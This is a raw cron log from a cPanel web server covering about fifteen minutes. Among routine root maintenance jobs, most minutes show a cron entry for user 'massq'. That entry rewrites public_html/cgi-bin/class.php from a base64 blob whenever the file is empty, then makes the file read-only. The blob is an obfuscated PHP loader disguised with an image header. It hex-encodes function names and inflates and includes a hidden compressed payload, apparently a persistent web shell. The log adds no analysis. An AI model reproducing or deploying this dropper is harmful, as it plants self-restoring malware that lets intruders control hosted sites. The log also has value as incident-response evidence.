Nov 14 00:01:01 server anacron[10457]: Normal exit (0 jobs run)
Nov 14 00:02:01 server CROND[11353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:03:01 server CROND[12118]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:04:01 server CROND[12877]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:05:01 server CROND[13364]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 00:05:01 server CROND[13366]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 00:05:01 server CROND[13367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 00:05:01 server CROND[13368]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:06:02 server CROND[14224]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:07:01 server CROND[15070]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:08:01 server CROND[15815]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:09:01 server CROND[16562]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:09:01 server CROND[16563]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 00:10:01 server CROND[17020]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 00:10:01 server CROND[17023]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:10:01 server CROND[17021]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 00:10:01 server CROND[17022]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 00:11:01 server CROND[17249]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:12:01 server CROND[18080]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:12:01 server CROND[18081]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 00:13:01 server CROND[18936]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:14:01 server CROND[19761]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:15:01 server CROND[20623]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 00:15:01 server CROND[20626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
